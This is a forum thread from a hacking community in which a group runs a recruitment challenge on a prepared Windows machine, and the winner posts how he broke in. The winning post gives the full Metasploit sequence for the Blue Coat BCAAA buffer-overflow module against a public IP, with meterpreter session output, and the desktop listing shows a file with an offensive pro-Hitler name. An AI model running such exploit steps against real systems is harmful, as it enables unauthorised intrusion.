

Forum:[Hack Forums](#)

Thread: [Hack into Royalty! \[Official Group\] #3](#)

Cibor - December 3, 2016, 6:08 pm

Hello dear HF members!

This is a quick opportunity to join Royalty Group and also to prove your pentesting skills.

I have prepared a special Windows machine with a few open ports, and at least 1 vulnerable service running.

It should be rather easy, since the vulnerability is public.

What you have to do:

- Hack into this machine: 185.62.188.121
- Post in this thread an image which is located on the Desktop.

First person who posts the image wins.

Time start!

Arixs - December 3, 2016, 6:08 pm

Lets get it going boys, great group to be in.

A NEW ERA... - December 3, 2016, 6:09 pm

Something interesting for once. Nice.

Egregious Jr. - December 3, 2016, 7:06 pm

I think I've got an idea. Let me try this.

Cibor - December 3, 2016, 7:22 pm

(Dec 3, 2016 08:06 PM)Shadow Wrote: [\[CITE\]](#) I think I've got an idea. Let me try this.
Sharpen your DarkComet and go for it.

Fladrif - December 4, 2016, 2:12 am

```
meterpreter > ls
```

```
Listing: c:\Users\Administrator\Desktop
```

```
=====
```

Mode	Size	Type	Last modified	Name
------	------	------	---------------	------

----	----	----	-----	----
------	------	------	-------	------

100666/rw-rw-rw-	13897	fil	2016-12-04 06:01:32 -0500	HitlerDidNothingWrong.jpg
------------------	-------	-----	---------------------------	---------------------------

100666/rw-rw-rw- 282 fil 2016-11-30 00:19:43 -0500 desktop.ini

Cibor - December 4, 2016, 2:17 am

(Dec 4, 2016 03:12 AM)Fladrif Wrote: [\[CITE\]](#)

meterpreter > ls

Listing: c:\Users\Administrator\Desktop

=====

Mode	Size	Type	Last modified	Name
----	----	----	----	
100666/rw-rw-rw-	13897	fil	2016-12-04 06:01:32 -0500	HitlerDidNothingWrong.jpg
100666/rw-rw-rw-	282	fil	2016-11-30 00:19:43 -0500	desktop.ini

That's right, you made it ?
Congratulations on winning Hack into Royalty #3!

Fladrif - December 4, 2016, 2:24 am

For the curious - my port scan showed up some interesting VNC ports and something listening on 16101+16102 so I messed around with VNC for a while then went googling for what could listen on 16101 as Nessus and nmap and netcat couldnt identify it.

My search came up with bluecoat, so I googled for bluecoat exploits, got https://www.rapid7.com/db/modules/exploit/windows/misc/bcaaa_bof, ran this and the rest is history :)

```
msf> use exploit/windows/misc/bcaaa_bof
msf exploit(bcaaa_bof) > show options
```

Module options (exploit/windows/misc/bcaaa_bof):

Name	Current Setting	Required	Description
----	-----	-----	-----
ATTEMPTS	3	yes	Number of attempts to try to exploit
RHOST		yes	The target address
RPORT	16102	yes	The target port

Exploit target:

Id	Name
--	----
0	BCAAA Version 5.4.6.1.54128

```
msf exploit(bcaaa_bof) > set rhost 185.62.188.121
```

```
rhost => 185.62.188.121
```

```
msf exploit(bcaaa_bof) > set payload windows/meterpreter/bind_tcp
```

```
payload => windows/meterpreter/bind_tcp
```

```
msf exploit(bcaaa_bof) > exploit
```

[*] Started bind handler

[*] Sending request to 185.62.188.121. Attempt #1...

[*] Sending request to 185.62.188.121. Attempt #2...

[*] Sending stage (885806 bytes) to 185.62.188.121
[*] Sending request to 185.62.188.121. Attempt #3...
[*] Meterpreter session 1 opened (x.x.x.x:46203 -> 185.62.188.121:4444) at 2016-12-04 05:09:09-0500

meterpreter > pwd
C:\Program Files (x86)\Blue Coat Systems\BCAAA

Squidward - December 4, 2016, 2:28 am

where can i learn how to hack like this?

SIM-2015410 - December 4, 2016, 2:33 am

(Dec 4, 2016 03:28 AM)Squidward Wrote: [\[CITE\]](#) where can i learn how to hack like this?
[Hacking Tutorials](#)

Prince™ - December 4, 2016, 2:34 am

Interesting method of recruiting though.

Captain Steve Rogers - December 4, 2016, 5:51 am

(Dec 4, 2016 03:33 AM)MeshCollider Wrote: [\[CITE\]](#) [Hacking Tutorials](#)
How can someone hack with just IP address?

Cibor - December 4, 2016, 5:59 am

(Dec 4, 2016 06:51 AM)#Programmer Wrote: [\[CITE\]](#) How can someone hack with just IP address?
There are many ways, in this case the candidates were supposed to scan the ports, find out what programs are running, find the port of vulnerable program, and hack it.

Malicious Intent - December 4, 2016, 6:16 am

Damn i missed this one. I was looking forward to the next one of these lol. Congratz to the winner!

Egregious Jr. - December 4, 2016, 6:22 am

I could have figured it out maybe if I had kali installed. It was something to do with the open port 445 I believe, and it is possible to hack with just the IP if that port is open.

Malicious Intent - December 4, 2016, 6:23 am

(Dec 4, 2016 07:22 AM)Shadow Wrote: [\[CITE\]](#) I could have figured it out maybe if I had kali installed. It was something to do with the open port 445 I believe, and it is possible to hack with just the IP if that port is open.

Did you not read what the winner wrote? It's all there black on white.. or the other way.

Papa Cuda - December 4, 2016, 6:56 am

This is the fastest one of these has been solved so far

Forc?d - December 4, 2016, 3:20 pm

Maaaaaan, completed so fast, just saw it now. Well Well

Prawnster - December 4, 2016, 3:20 pm

Well that was over before I even knew it existed ?
Nice job to the solver :D

Cibor - December 4, 2016, 3:21 pm

(Dec 4, 2016 04:20 PM)Forc?d Wrote: [\[CITE\]](#) Maaaaaan, completed so fast, just saw it now. Well Well

Haha

No worries, there will be next one soon

corcuff - *December 15, 2016, 5:17 am*

I just get to this important thread. This is an interesting way to get in. I'll be waiting for the next one.

Congratulation to the winner.